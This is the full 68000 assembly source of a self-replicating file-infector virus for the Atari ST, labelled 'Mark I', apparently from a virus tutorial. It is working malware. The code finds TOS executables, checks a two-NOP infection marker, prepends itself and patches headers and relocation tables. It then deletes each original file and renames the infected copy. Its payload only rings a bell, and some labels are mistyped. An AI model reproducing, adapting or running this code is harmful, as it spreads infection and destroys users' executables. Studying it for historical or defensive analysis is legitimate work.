; File INFECT2A - This is a prototype launching program for the Mark I virus. TEXT ; 1.0 The Infection Module ; ; 1.1 Search for a target file to infect ; STRATEGY: The first search is with SFIRST. If this ; file is not infected, the search is done. If it is ; infected, search data obtained with SFIRST is preserved ; and used with SNEXT until either the first uninfected ; file is found, or it is determined that no uninfected ; files are left in the search space. ; ; Use GET DTA (GEMDOS function $2F) to get the address of the ; Data Transfer Buffer. Save the address in A2 until no longer ; needed. START: NOP ; These 2 NOP's are the infection marker NOP MOVE.W #$2F,-(SP) ; Function no. of GET DTA. TRAP #1 ; Call GEMDOS. ADDQ.L #2,SP ; Clean up the stack. MOVE.L D0,A2 ; Store DTA address in A2 for later use ; Use SFIRST to look for the first occurence of a *.TOS file. BRA.2 STARTSEARCH ; Branch over name string. NAMESTRING: DC.B "*.TOS",0 ; Wildcard name string. READBUFFER: DS.B 28 TEMPFILENAME: DC.B "TEMP.TOS",0 OLDFILENAME: DS.B 15 STARTSEARCH: MOVE.W #0,-(SP) ; Attribute=0, normal read/write. PEA NAMESTRING ; Address of the wildcard name string. MOVE.W #$4E,-(SP) ; Function number of SFIRST. TRAP #1 ; Call GEMDOS. ADD.L #8,SP ; Clean up the stack. TST.L D0 ; Found a candidate file if D0 is zero. BNE FINISHED ; No candidate files exist. Exit. CHECKINFECT: ; First, open the file. MOVE.W #2,-(SP) ; Opening the file for read and write. MOVE.L A2,A1 ; Base address of DTA to A1 ADD.L #30,A1 ; Add offset of full name string in DTA MOVE.L A1,-(SP) ; Push the address of the name string. MOVE.W #$3D,-(SP) ; Function no, of OPEN. TRAP #1 ; Call GEMDOS. ADD.L #8,SP ; Clean up the stack. TST.L D0 ; D0=Filehandle if OPEN worked, neg. otherwise. BMI KEEPLOOKING ; If error, look for another one. ; Position the file pointer to the infection marker. MOVE.L D0,D1 ; Preserve the file handle in D1 MOVE.W #0,-(SP) ; Mode=0, start from the file beginning. MOVE.W D0,-(SP) ; Push the file handle. MOVE.L #$1C,-(SP) ; Push the offset to beginning of code. ; Look for those two NOPs MOVE.W #$42,-(SP) ; Push function no. of LSEEK. TRAP #1 ; Call GEMDOS. ADD.L #10,SP ; Clean up the stack. ; Read the appropriate bytes, looking for those two NOPs PEA READBUFFER ; Push address of one byte buffer. MOVE.L #4,-(SP) ; No. of bytes to read = 4. MOVE.W D1,-(SP) ; Push file handle. MOVE.W #$3F,-(SP) ; Function no. of READ. TRAP #1 ; Call GEMDOS. ADD.L #12,SP ; Clean up the stack. MOVE.L READBUFFER,D0 ; Put the infection marker site in D0. CMPI.L #$4E714E71,D0 ; Infection marker is two NOPs (4E71) BNE STARTINFECT ; Infection marker not found. infect it. KEEPLOOKING: MOVE.W #$4F,-(SP) ; Function no. of SNEXT. TRAP #1 ; Call GEMDOS. ADDQ.L #2,SP ; Clean up stack. TST.L D0 ; D0=0 if one is found, nonzero if no more. BEQ CHECKINFECT ; Test to see if it is infected. BRA PAYLOAD ; No candidate files. Exit. ; 1.2 Infect the target file if there is one. ; Save the name of the original file in OLDFILENAME. The ; address of the name string in the DTA ts still in A1. STARTINFECT: MOVE.L #13,D0 ; Index counter LEA OLDFILENAME,A3 ; Start address of file name save buffer. SAVELOOP: MOVE.B (A1,D0),(A3,D0) ; Move a character from the DTA to buffer. DBRA D0,SAVELOOP ; Loop until done. ; Create a new file named TEMP (stored in TEMPFILENAME) MOVE.W #0,-(SP) ; Create with Read/write attribute PEA TEMPFILENAME ; Address where the name "TEMP.TOS" stored MOVE.W #$3C,-(SP) ; Function no. of CREATE TRAP #1 ; Call GEMDOS ADD.L #8,SP ; Clean up stack MOVE.W D0,D2 ; Save TEMP.TOS's file handle in D2 ; Move the old file's pointer back to the beginning of the file MOVE.W #0,-(SP) ; Mode=0, start from the file beginning. MOVE.W D1,-(SP) ; Push the file handle. MOVE.L #0,-(SP) ; Offset=0. Start from the beginning of the program header. MOVE.W #$42,-(SP) ; Push function no. of LSEEK. TRAP #1 ; Call GEMDOS. ADD.L #10,SP ; Clean up the stack. ; Read the program header of the file to be infected into buffer PEA READBUFFER ; Push the start address of the buffer MOVE.L #$1C,-(SP) ; No. of bytes to be read MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up stack ; Modify the appropriate header entries. LEA READBUFFER,A2 ; Base address of read buffer MOVE.L 2(A2),D7 ; Get old program length MOVE.L D7,D6 ; Move to D6 for new length computation ADD.L #(FINISHED-START),D6 ; Compute new program length MOVE.L D6,2(A2) ; Load new program length ADD.L 6(A2),D7 ; Add in length of data segment ADD.L $0E(A2),D7 ; Add in length of symbol table SUBQ.L #1,D7 ; Subtract one to get count ; Write the new header PEA READBUFFER ; Push the address of the buffer MOVE.L #$1C,-(SP) ; Write 28 bytes MOVE.W D2,-(SP) ; File handle for new file MOVE.W #$40,-(SP) ; Function no. for WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; NOTE: At this point, the file pointers for both files should be ; pointing to the beginning of the program segment. ; Now, write the virus into the new file PEA START ; Buffer is now the beginning of the virus MOVE.L #(FINISHED-START),-(SP) ; Write no. of bytes in the virus MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. for WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Now, write the program segment, data segment, and symbol table ; from the old file to the new file. TRANSFERLOOP: ; Read a byte from the old file PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Read one byte MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Write the byte into the new file PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Write one byte MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack DBRA D7,TRANSFERLOOP ; Loop until done ; At this point, the file pointer of the old file is pointing to the ; long word which begins the relocation table. LEA READBUFFER,A2 ; Zero out one word of MOVE.L #0,(A2) ; Read buffer before looking for long word PEA READBUFFER ; Buffer start MOVE.L #4,-(SP) ; Read one long word MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack LEA READBUFFERA1 ; Base address of buffer TST.L (A1) ; If long word is zero, no relocation table BEQ NOTABLE ; so jump around adjustment ADD.L #(FINISHED-START),(A1) ; Adjust the long word by the new program length BSR ENTRY1 ; POINT A. NOTABLE: PEA READBUFFER ; Buffer start MOVE.L #4,-(SP) ; Write one long word MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; First long word in the relocation table has been adjusted. Write ; the rest of the relocation table. FINALLOOP: PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Read one byte MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Write one byte MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack LEA READBUFFER,A1 ; Adr. of byte just read MOVE.B (A1),D4 ; POINT B BSR ENTRY2 TST.B (A1) ; Finished if this byte zero BNE FINALLOOP ; Stop transferring if zero, otherwise ; keep writing the relocation table BRA ENDLOOP ; Done. Branch around the following subroutine. ; This subroutine accesses the long words of the infected program in ; their new locations as they have been moved down by the virus length ; and adds the virus length to them. ENTRY1: ; Enter here when first long word of relocation table is read ; and modified. MOVE.L (A1),D5 ; A1 points to READBUFFER, which has the offset from $1C to ; the first long word. ADD.L #$1C,D5 ; D5 now has the correct file pointer value MOVE.L #$FF,D4 ; This marks entry from entry point 1. ENTRY2: ; Enter here when offset bytes following the first long word ; in the relocation table are being copied. TST.L D4 ; If D4 contains zero, there is nothing to do. BNE NOTZERO ; Continue if not zero. RTS ; Otherwise, return. NOTZERO: CMPI.L #1,D4 ; If D4 contains 1, need to add an Increment of 245 to D6 and exit. BNE NOTONE ; Branch around if not 1. ADD.L #$FE,D5 ; Add an increment of 254 to running file pointer in D5, then ; return. RTS NOTONE: CMPI.L #$FF,D4 ; If entry came in entry point 1, D4 will contain SFF. BEQ FIRSTTIME ; If contents equal $FF, don't add contents of D4 to D5. ADD.L D4,D6 ; Otherwise, add the incremental byte. FIRSTTIME: ; Preserve the current value of the file pointer in D6. MOVE.W #1,-(SP) ; MODE=1, measure from current position. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L #0,-(SP) ; No movement of file pointer, just get its current value MOVE.W #$42,-(SP) ; Function number of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up stack MOVE.L D0,D6 ; Return value in DO is current position of file pointer of ; new file. Save in D6. ; Set up the new file file pointer with the value in D5. MOVE.W #0,-(SP) ; MODE-=0, offset from file beginning. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L D5,-(SP) ; New file pointer position. MOVE.W #$42,-(SP) ; Function no. of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up stack ; Get the long word pointed to by the new file pointer. PEA READBUFFER+4 ; Push address to store this long word. MOVE.L #4,-(SP) ; Read 4 bytes. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Add the length of the virus to the long word in READBUFFER+4. LEA READBUFFER+4,A2 ADD.L #(FINISHED-START),(A2) ; Move the new file's file pointer back 4 bytes to write the new ; value of the long word. MOVE.W #1,-(SP) ; MODE=1, offset relative to current pos. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L #-4,(SP) ; Move pointer 4 bytes back. MOVE.W #$42,-(SP) ; Function no. of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up the stack. ; Write the modified long word in READBUFFER+4 to the file. PEA READBUFFER+4 ; Start of the long word. MOVE.L #4,-(SP) ; Write 4 bytes. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.W #$40,-(SP) ; Function no. of WRITE. TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack. ; Restore the original value of the file pointer, saved in D6. MOVE.W #0,-(SP) ; MODE=0, offset from file beginning MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L D6,-(SP) ; Preserved value of the file pointer. MOVE.W #$42,-(SP) ; Function no. of LSEEK TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up the stack. RTS ; Finished, return. ; All transfers finished. Close and delete the old file. Close ; and rename the new file. ENDLOOP: MOVE.W D1,-(SP) ; File handle for old file MOVE.W #$3E,-(SP) ; Function number for CLOSE TRAP #1 ; Call GEMDOS ADDQ.L #4,SP ; Clean up stack PEA OLDFILENAME ; Push string giving name of uninfected version of the file. MOVE.W #$41,-(SP) ; Function no. of UNLINK TRAP #1 ; Call GEMDOS to erase old file ADD.L #6,SP ; Clean up the stack. MOVE.W D2,-(SP) ; File handle for new file MOVE.W #$3E,-(SP) ; Function number for CLOSE TRAP #1 ; Call GEMDOS ADDQ.L #4,SP ; Clean up stack PEA OLDFILENAME ; New name for infected file, i.e. original name of target file. PEA TEMPALENAME ; Push string containing "TEMP.TOS" MOVE.W #0,-(SP) ; Dummy parameter MOVE.W #$56,-(SP) ; Function no. of RENAME TRAP #1 ; Call GEMDOS to rename infected file to name of original target. ADD.L #12,SP ; Clean up the stack. ; 2.0 The Payload Module ; This payload send a BEL (control G) to the console output. Its ; only purpose is to indicate whether a program is infected. PAYLOAD: MOVE.W #7,-(SP) ; Character is BEL (control G) MOVE.W #2,-(SP) ; Device is console MOVE.W #3,-(SP) ; Function no. for BCONOUT TRAP #13 ; Call BIOS ADDQ.L #6,SP ; Clean up stack ; 3.0 Termination ; The following GEMDOS call terminates the program and ; returns to the operating system. FINISHED: CLR.W -(SP) TRAP #1 END